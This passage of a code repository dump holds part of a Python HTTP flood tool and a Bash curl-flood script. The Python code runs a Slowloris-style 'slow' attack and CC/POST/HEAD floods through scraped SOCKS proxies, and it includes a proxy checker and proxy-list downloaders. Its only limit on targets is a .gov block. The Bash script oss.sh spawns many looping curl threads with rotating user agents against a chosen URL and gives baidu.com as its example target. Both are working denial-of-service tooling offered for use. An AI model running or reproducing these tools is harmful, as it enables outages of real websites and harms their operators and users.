456 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
457 | sys.stdout.flush()
458 | proxy = Choice(proxies).strip().split(":")
459 | for _ in range(conn - len(socket_list)):
460 | try:
461 | if socks_type == 4:
462 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
463 | if socks_type == 5:
464 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
465 | s.settimeout(1)
466 | s.connect((str(target), int(port)))
467 | if int(port) == 443:
468 | ctx = ssl.SSLContext()
469 | s = ctx.wrap_socket(s,server_hostname=target)
470 | s.send("GET /?{} HTTP/1.1\r\n".format(Intn(0, 2000)).encode("utf-8"))# Slowloris format header
471 | s.send("User-Agent: {}\r\n".format(getuseragent).encode("utf-8"))
472 | s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
473 | if cookies != "":
474 | s.send(("Cookies: "+str(cookies)+"\r\n").encode("utf-8"))
475 | s.send(("Connection:keep-alive").encode("utf-8"))
476 | socket_list.append(s)
477 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
478 | sys.stdout.flush()
479 | except:
480 | proxy = Choice(proxies).strip().split(":")
481 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
482 | sys.stdout.flush()
483 | pass
484 | nums = 0
485 | def checking(lines,socks_type,ms,rlock,):#Proxy checker coded by BlueSkyXN
486 | global nums
487 | global proxies
488 | proxy = lines.strip().split(":")
489 | if len(proxy) != 2:
490 | rlock.acquire()
491 | proxies.remove(lines)
492 | rlock.release()
493 | return
494 | err = 0
495 | while True:
496 | if err >= 3:
497 | rlock.acquire()
498 | proxies.remove(lines)
499 | rlock.release()
500 | break
501 | try:
502 | s = socks.socksocket()
503 | if socks_type == 4:
504 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
505 | if socks_type == 5:
506 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
507 | s.settimeout(ms)
508 | s.connect((str(target), int(port)))
509 | if protocol == "https":
510 | ctx = ssl.SSLContext()
511 | s = ctx.wrap_socket(s,server_hostname=target)
512 | sent = s.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
513 | if not sent:
514 | err += 1
515 | s.close()
516 | break
517 | except:
518 | err +=1
519 | nums += 1
520 |
521 | def check_socks(ms):#Coded by BlueSkyXN
522 | global nums
523 | thread_list=[]
524 | rlock = threading.RLock()
525 | for lines in list(proxies):
526 | if choice == "5":
527 | th = threading.Thread(target=checking,args=(lines,5,ms,rlock,))
528 | th.start()
529 | if choice == "4":
530 | th = threading.Thread(target=checking,args=(lines,4,ms,rlock,))
531 | th.start()
532 | thread_list.append(th)
533 | time.sleep(0.01)
534 | sys.stdout.write("> Checked "+str(nums)+" proxies\r")
535 | sys.stdout.flush()
536 | for th in list(thread_list):
537 | th.join()
538 | sys.stdout.write("> Checked "+str(nums)+" proxies\r")
539 | sys.stdout.flush()
540 | print("\r\n> Checked all proxies, Total Worked:"+str(len(proxies)))
541 | ans = input("> Do u want to save them in a file? (y/n, default=y)")
542 | if ans == "y" or ans == "":
543 | if choice == "4":
544 | with open("socks4.txt", 'wb') as fp:
545 | for lines in list(proxies):
546 | fp.write(bytes(lines,encoding='utf8'))
547 | fp.close()
548 | print("> They are saved in socks4.txt.")
549 | elif choice == "5":
550 | with open("socks5.txt", 'wb') as fp:
551 | for lines in list(proxies):
552 | fp.write(bytes(lines,encoding='utf8'))
553 | fp.close()
554 | print("> They are saved in socks5.txt.")
555 |
556 | def check_list(socks_file):
557 | print("> Checking list")
558 | temp = open(socks_file).readlines()
559 | temp_list = []
560 | for i in temp:
561 | if i not in temp_list:
562 | if ':' in i:
563 | temp_list.append(i)
564 | rfile = open(socks_file, "wb")
565 | for i in list(temp_list):
566 | rfile.write(bytes(i,encoding='utf-8'))
567 | rfile.close()
568 |
569 | def downloadsocks(choice):
570 | if choice == "4":
571 | f = open("socks4.txt",'wb')
572 | try:
573 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all",timeout=5)
574 | f.write(r.content)
575 | except:
576 | pass
577 | try:
578 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks4",timeout=5)
579 | f.write(r.content)
580 | except:
581 | pass
582 | try:
583 | r = requests.get("https://www.proxyscan.io/download?type=socks4",timeout=5)
584 | f.write(r.content)
585 | except:
586 | pass
587 | try:
588 | r = requests.get("https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",timeout=5)
589 | f.write(r.content)
590 | f.close()
591 | except:
592 | f.close()
593 | try:#credit to All3xJ
594 | r = requests.get("https://www.socks-proxy.net/",timeout=5)
595 | part = str(r.content)
596 | part = part.split(" |
")
597 | part = part[1].split("")
598 | part = part[0].split("")
599 | proxies = ""
600 | for proxy in part:
601 | proxy = proxy.split(" | ")
602 | try:
603 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
604 | except:
605 | pass
606 | out_file = open("socks4.txt","a")
607 | out_file.write(proxies)
608 | out_file.close()
609 | except:
610 | pass
611 | print("> Have already downloaded socks4 list as socks4.txt")
612 | if choice == "5":
613 | f = open("socks5.txt",'wb')
614 | try:
615 | r = requests.get("https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&simplified=true",timeout=5)
616 | f.write(r.content)
617 | except:
618 | pass
619 | try:
620 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks5",timeout=5)
621 | f.write(r.content)
622 | except:
623 | pass
624 | try:
625 | r = requests.get("https://www.proxyscan.io/download?type=socks5",timeout=5)
626 | f.write(r.content)
627 | except:
628 | pass
629 | try:
630 | r = requests.get("https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",timeout=5)
631 | f.write(r.content)
632 | except:
633 | pass
634 | try:
635 | r = requests.get("https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",timeout=5)
636 | f.write(r.content)
637 | f.close()
638 | except:
639 | f.close()
640 | print("> Have already downloaded socks5 list as socks5.txt")
641 | def prevent():
642 | if '.gov' in url :
643 | print("> You can't attack .gov website!")
644 | exit()
645 |
646 | def main():
647 | global multiple
648 | global choice
649 | global data
650 | global mode2
651 | global cookies
652 | global brute
653 | global url
654 | print("> Mode: [cc/post/head/slow/check]")
655 | mode = InputOption("> Choose Your Mode (default=cc) :",["cc","post","head","slow","check"],"cc")
656 | url = str(input("> Input the target url:")).strip()
657 | prevent()
658 | ParseUrl(url)
659 | if mode == "post":
660 | mode2 = InputOption("> Customize post data? (y/n, default=n):",["y","n","yes","no"],"n")
661 | if mode2 == "y":
662 | data = open(str(input("> Input the file's path:")).strip(),"r",encoding="utf-8", errors='ignore').readlines()
663 | data = ' '.join([str(txt) for txt in data])
664 | choice2 = InputOption("> Customize cookies? (y/n, default=n):",["y","n","yes","no"],"n")
665 | if choice2 == "y":
666 | cookies = str(input("Plese input the cookies:")).strip()
667 | choice = InputOption("> Choose your socks mode(4/5, default=5):",["4","5"],"5")
668 | if choice == "4":
669 | socks_type = 4
670 | else:
671 | socks_type = 5
672 | if mode == "check":
673 | CheckerOption()
674 | print("> End of process")
675 | return
676 | if mode == "slow":
677 | thread_num = str(input("> Connections(default=400):"))
678 | else:
679 | thread_num = str(input("> Threads(default=400):"))
680 | if thread_num == "":
681 | thread_num = int(400)
682 | else:
683 | try:
684 | thread_num = int(thread_num)
685 | except:
686 | sys.exit("Error thread number")
687 | CheckerOption()
688 | if len(proxies) == 0:
689 | print("> There are no more proxies. Please download a new one.")
690 | return
691 | ind_rlock = threading.RLock()
692 | if mode == "slow":
693 | input("Press Enter to continue.")
694 | th = threading.Thread(target=slow,args=(thread_num,socks_type,))
695 | th.setDaemon(True)
696 | th.start()
697 | else:
698 | multiple = str(input("> Input the Magnification(default=100):"))
699 | if multiple == "":
700 | multiple = int(100)
701 | else:
702 | multiple = int(multiple)
703 | brute = str(input("> Enable boost mode[beta](y/n, default=n):"))
704 | if brute == "":
705 | brute = False
706 | elif brute == "y":
707 | brute = True
708 | elif brute == "n":
709 | brute = False
710 | event = threading.Event()
711 | print("> Building threads...")
712 | SetupIndDict()
713 | build_threads(mode,thread_num,event,socks_type,ind_rlock)
714 | event.clear()
715 | input("Press Enter to continue.")
716 | event.set()
717 | threading.Thread(target=OutputToScreen,args=(ind_rlock,),daemon=True).start()
718 | while True:
719 | try:
720 | time.sleep(0.1)
721 | except KeyboardInterrupt:
722 | break
723 |
724 |
725 | if __name__ == "__main__":
726 | main()#Coded by BlueSkyXN
727 |
--------------------------------------------------------------------------------
/oss.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while getopts ":l:t:r:s" opt
4 | do
5 | case $opt in
6 | l)
7 | l=$OPTARG
8 | ;;
9 | t)
10 | t=$OPTARG
11 | ;;
12 | r)
13 | r=$OPTARG
14 | ;;
15 | s)
16 | stop_
17 | ;;
18 | ?)
19 | echo -e "\e[93m[用法]\n\e[93m[下载] \e[92mcurl \e[91m-Lo \e[96moss.sh \e[96mgit.io/jhoss\e[0m"
20 | echo -e "\e[93m[参数] \e[91m-l \e[96m<链接> \e[91m-t \e[96m<线程数> \e[91m-r \e[96m \e[91m-s \e[96m<终止>\n\e[0m"
21 | echo -e '\e[93m[示例0] \e[92mbash \e[96moss.sh \e[93m<按照提示输入参数> \e[0m'
22 | echo -e '\e[93m[示例1] \e[96moss.sh \e[91m-l \e[96m"https://www.baidu.com" \e[0m'
23 | echo -e '\e[93m[示例2] \e[96moss.sh \e[91m-l \e[96m"https://www.baidu.com" \e[91m-t \e[96m8 \e[0m'
24 | echo -e '\e[93m[示例3] \e[96moss.sh \e[91m-l \e[96m"https://www.baidu.com" \e[91m-t \e[96m8 \e[91m-r \e[96m"https://www.baidu.com"\e[0m'
25 | echo -e '\e[93m[示例4] \e[92mbash \e[96moss.sh \e[91m-s \n\e[0m'
26 | exit 1
27 | ;;
28 | esac
29 | done
30 |
31 | stop_()
32 | {
33 | kill -9 `ps -a |grep -v "grep" |grep -v "ps" |grep -v "oss.sh" |grep -E 'bash|curl' |awk '{print $1}'`
34 | exit 1
35 | }
36 |
37 | get_link()
38 | {
39 | read -p $(echo -e "\e[93m输入[链接]开始或输入[s]停止:\e[96m") l
40 | case $l in
41 | [Ss]*)
42 | echo -e "\e[0m"
43 | stop_
44 | ;;
45 | *)
46 | echo "继续"
47 | ;;
48 | esac
49 |
50 | echo -e "\e[93m链接为\e[91m $l \e[93m是否确定[Y]?\e[0m"
51 | read ll
52 | case $ll in
53 | [Yy]*)
54 | echo "开始"
55 | ;;
56 | *)
57 | echo "退出"
58 | exit 1
59 | ;;
60 | esac
61 | }
62 |
63 | if [ ! -n "$l" ] ;then
64 | echo -e "\e[93m[用法]\n\e[93m[下载] \e[92mcurl \e[91m-Lo \e[96moss.sh \e[96mgit.io/jhoss\e[0m"
65 | echo -e "\e[93m[参数] \e[91m-l \e[96m<链接> \e[91m-t \e[96m<线程数> \e[91m-r \e[96m \e[91m-s \e[96m<终止>\n\e[0m"
66 | echo -e '\e[93m[示例0] \e[92mbash \e[96moss.sh \e[93m<按照提示输入参数> \e[0m'
67 | echo -e '\e[93m[示例1] \e[92mbash \e[96moss.sh \e[91m-l \e[96m"https://www.baidu.com" \e[0m'
68 | echo -e '\e[93m[示例2] \e[92mbash \e[96moss.sh \e[91m-l \e[96m"https://www.baidu.com" \e[91m-t \e[96m8 \e[0m'
69 | echo -e '\e[93m[示例3] \e[92mbash \e[96moss.sh \e[91m-l \e[96m"https://www.baidu.com" \e[91m-t \e[96m8 \e[91m-r \e[96m"https://www.baidu.com"\e[0m'
70 | echo -e '\e[93m[示例4] \e[92mbash \e[96moss.sh \e[91m-s \n\e[0m'
71 | #exit 1
72 | get_link
73 | fi
74 |
75 | if [ ! -n "$t" ] ;then
76 | t=16
77 | fi
78 |
79 | if [ ! -n "$r" ] ;then
80 | r=$l
81 | fi
82 |
83 | UAs[0]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTMLUAs[0] like Gecko) Chrome/80.0.3987.163 Safari/537.36"
84 | UAs[1]="Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)"
85 | UAs[2]="Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)"
86 | UAs[3]="Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTMLUAs[0] like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25"
87 | UAs[4]="Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTMLUAs[0] like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25"
88 | UAs[5]="Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTMLUAs[0] like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25"
89 | UAs[6]="Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)"
90 | UAs[7]="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0"
91 | UAs[8]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
92 | UAs[9]="Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"
93 | UAs[10]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTMLUAs[0] like Gecko) Version/7.0.3 Safari/7046A194A"
94 |
95 | for i in $(seq 1 $t)
96 | do
97 | {
98 | while true
99 | do
100 | z=$[$RANDOM%11]
101 | #wget -O /dev/null -o /dev/null -UA=${UAs[$z]} $l 1> /dev/null 2>&1
102 | curl -Lo /dev/null -A ${UAs[$z]} $l 1> /dev/null 2>&1
103 | done
104 | }&
105 | echo "thread $i start!"
106 | done
107 |
--------------------------------------------------------------------------------
|